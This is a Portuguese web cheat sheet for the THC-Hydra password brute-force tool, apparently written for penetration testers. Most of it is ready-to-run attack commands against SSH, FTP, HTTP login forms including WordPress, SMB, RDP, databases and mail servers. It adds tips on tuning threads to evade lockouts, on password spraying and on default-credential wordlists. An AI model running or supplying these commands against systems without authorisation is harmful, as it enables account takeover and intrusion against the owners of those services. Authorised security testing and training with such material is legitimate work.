Guia de Referência Hydra
Referência completa para brute force de senhas
Mais de 50 protocolos • SSH, HTTP, FTP, RDP, bancos de dados e mais
📑 Navegação rápida
O que é Hydra?
THC-Hydra (comumente chamado de Hydra) é um cracker de login rápido e paralelo que suporta inúmeros protocolos. Desenvolvido pelo The Hacker's Choice (THC), é uma das ferramentas de teste de senhas mais versáteis disponíveis, suportando mais de 50 protocolos diferentes incluindo SSH, FTP, HTTP, HTTPS, SMB, bancos de dados e muito mais.
Hydra vem pré-instalado no Kali Linux e outras distribuições focadas em segurança. O código fonte está disponível no GitHub.
📦 Instalação
Debian/Ubuntu/Kali
sudo apt install hydra
RHEL/CentOS/Fedora
sudo dnf install hydra
macOS (Homebrew)
brew install hydra
A partir do código fonte
git clone https://github.com/vanhauser-thc/thc-hydra
cd thc-hydra && ./configure && make && sudo make install
🎯 Sintaxe básica
hydra[opções]<alvo><protocolo>
| Flag | Descrição | Exemplo |
|---|---|---|
| -l | Nome de usuário único | -l admin |
| -L | Arquivo de lista de usuários | -L users.txt |
| -p | Senha única | -p password123 |
| -P | Arquivo de lista de senhas | -P rockyou.txt |
| -C | Arquivo user:pass separado por dois-pontos | -C creds.txt |
| -s | Número da porta | -s 2222 |
| -t | Tarefas paralelas (threads) | -t 16 |
| -f | Parar no primeiro par válido | -f |
| -F | Parar no primeiro par válido (todos os hosts) | -F |
| -v / -V | Verboso / mostrar tentativas de login | -V |
| -o | Arquivo de saída | -o results.txt |
| -e nsr | Tentar senhas null/igual/reverso | -e nsr |
| -M | Arquivo de lista de alvos | -M hosts.txt |
📡 Protocolos suportados
Execute hydra -h para ver todos os protocolos disponíveis. Os mais comuns incluem:
🔐 Ataques SSH
# Usuário único, lista de senhashydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target># Lista de usuários, lista de senhashydra -L users.txt -P passwords.txt ssh://<target># Porta personalizadahydra -l admin -P passwords.txt -s 2222 ssh://<target># Tentar null, igual ao login, reversohydra -l root -P passwords.txt -e nsr ssh://<target># Verboso com 4 threadshydra -l root -P passwords.txt -t 4 -V ssh://<target># Sintaxe alternativahydra -l root -P passwords.txt <target> ssh
💡 Dica profissional
SSH geralmente tem limitação de taxa. Use -t 4 (4 threads) para evitar bloqueios de conta e banimentos de conexão.
📁 Ataques FTP
# Ataque FTP básicohydra -l admin -P passwords.txt ftp://<target># Tentar login anônimo primeirohydra -l anonymous -p anonymous ftp://<target># Múltiplos usuários com saída verbosahydra -L users.txt -P passwords.txt -V ftp://<target># Parar no primeiro sucessohydra -l ftpuser -P passwords.txt -f ftp://<target>
🌐 Ataques de formulários HTTP
Ataques de formulários HTTP requerem entender a estrutura do formulário de login. Você precisa: do caminho do formulário, parâmetros POST e um indicador de falha.
Sintaxe
hydra -l <user> -P <wordlist> <target> http-post-form "/path:user=^USER^&pass=^PASS^:F=failure_string"
| Placeholder | Descrição |
|---|---|
| ^USER^ | Substituído pelo nome de usuário |
| ^PASS^ | Substituído pela senha |
| F=string | Condição de falha (string presente em login falho) |
| S=string | Condição de sucesso (string presente em login bem-sucedido) |
Exemplos
# Formulário de login básicohydra -l admin -P passwords.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"# Login WordPresshydra -l admin -P passwords.txt <target> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username"# Com cookieshydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: PHPSESSID=abc123"# Alvo HTTPShydra -l admin -P passwords.txt <target> https-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"# Usando condição de sucessohydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:S=Welcome"
⚠️ Encontrando parâmetros do formulário
Use as DevTools do navegador (aba Network) ou Burp Suite para capturar a requisição POST real. Procure pela URL de action do formulário e nomes dos campos de input.
🔒 Autenticação HTTP básica
# Auth HTTP básicahydra -l admin -P passwords.txt <target> http-get /admin/# Auth HTTPS básicahydra -l admin -P passwords.txt <target> https-get /secure/# Com especificação de portahydra -l admin -P passwords.txt -s 8080 <target> http-get /
💼 Ataques SMB/Windows
# Ataque SMBhydra -l Administrator -P passwords.txt smb://<target># Com domíniohydra -l DOMAIN\\Administrator -P passwords.txt smb://<target># Ataque RDP (lento, use poucas threads)hydra -l administrator -P passwords.txt -t 1 rdp://<target># VNC (apenas senha, sem usuário)hydra -P passwords.txt vnc://<target>
🗄️ Ataques a bancos de dados
# MySQLhydra -l root -P passwords.txt mysql://<target># PostgreSQLhydra -l postgres -P passwords.txt postgres://<target># Microsoft SQL Serverhydra -l sa -P passwords.txt mssql://<target># Oracle SID necessáriohydra -l system -P passwords.txt oracle://<target>/XE# MongoDBhydra -l admin -P passwords.txt mongodb://<target># Redis (apenas senha)hydra -P passwords.txt redis://<target>
📧 Protocolos de e-mail
# SMTPhydra -l user@domain.com -P passwords.txt smtp://<target># SMTP com TLShydra -l user@domain.com -P passwords.txt -S smtp://<target>:587# POP3hydra -l user -P passwords.txt pop3://<target># POP3S (SSL)hydra -l user -P passwords.txt pop3s://<target># IMAPhydra -l user -P passwords.txt imap://<target># IMAPS (SSL)hydra -l user -P passwords.txt imaps://<target>
⚡ Otimização de performance
| Flag | Descrição | Padrão |
|---|---|---|
| -t N | Número de tarefas paralelas (threads) | 16 |
| -w N | Tempo de espera para respostas (segundos) | 32 |
| -c TIME | Tempo de espera por tentativa de conexão | - |
| -W N | Espera entre reconexões | 0 |
| -T N | Threads por alvo (ao usar -M) | - |
Configurações de threads recomendadas
SSH
4 threads
HTTP/HTTPS
16-32 threads
FTP
8-16 threads
RDP
1-4 threads
💾 Gerenciamento de sessões
Hydra pode salvar e restaurar sessões para ataques de longa duração:
# Sessões são auto-salvas em ~/.hydra/hydra.restore# Retomar sessão interrompidahydra -R# Iniciar ataque com arquivo de sessão específicohydra -l admin -P rockyou.txt ssh://<target> -I
| -R | Restaurar sessão anterior |
| -I | Ignorar arquivo de restauração existente (começar do zero) |
📚 Wordlists comuns
No Kali Linux, wordlists ficam geralmente em /usr/share/wordlists/
| Wordlist | Caminho | Tamanho |
|---|---|---|
| RockYou | /usr/share/wordlists/rockyou.txt | 14M senhas |
| SecLists Common | /usr/share/seclists/Passwords/Common-Credentials/ | Diversos |
| Top 10000 | /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt | 10K senhas |
| Default Creds | /usr/share/seclists/Passwords/Default-Credentials/ | Diversos |
💡 Dica profissional
Comece com wordlists menores e direcionadas antes de usar listas massivas como rockyou.txt. Tente primeiro os padrões comuns: admin:admin, root:root, user:password.
🔥 Cenários de ataque comuns
# Verificação rápida de credenciais padrãohydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://<target># Múltiplos alvos de arquivohydra -L users.txt -P passwords.txt -M hosts.txt ssh# Password spray (uma senha, muitos usuários)hydra -L users.txt -p 'Summer2024!' smb://<target># Serviço em porta não padrãohydra -l admin -P passwords.txt -s 8022 ssh://<target># Salvar resultados em arquivohydra -l root -P passwords.txt -o results.txt ssh://<target># Verboso com todas as tentativas mostradashydra -l admin -P passwords.txt -V ssh://<target>
📚 Recursos adicionais
- Repositório GitHub oficial — Código fonte e documentação
- SecLists — Coleção de nomes de usuário, senhas e wordlists
- Documentação Hydra Kali — Página oficial da ferramenta Kali
🔓 Guia de referência Hydra completo!
Você agora tem uma referência completa para a ferramenta de brute force de senhas mais versátil. De SSH a formulários web a bancos de dados, esses comandos cobrem os ataques de autenticação que profissionais de segurança usam todos os dias.
Pronto para quebrar seu próximo teste de autenticação!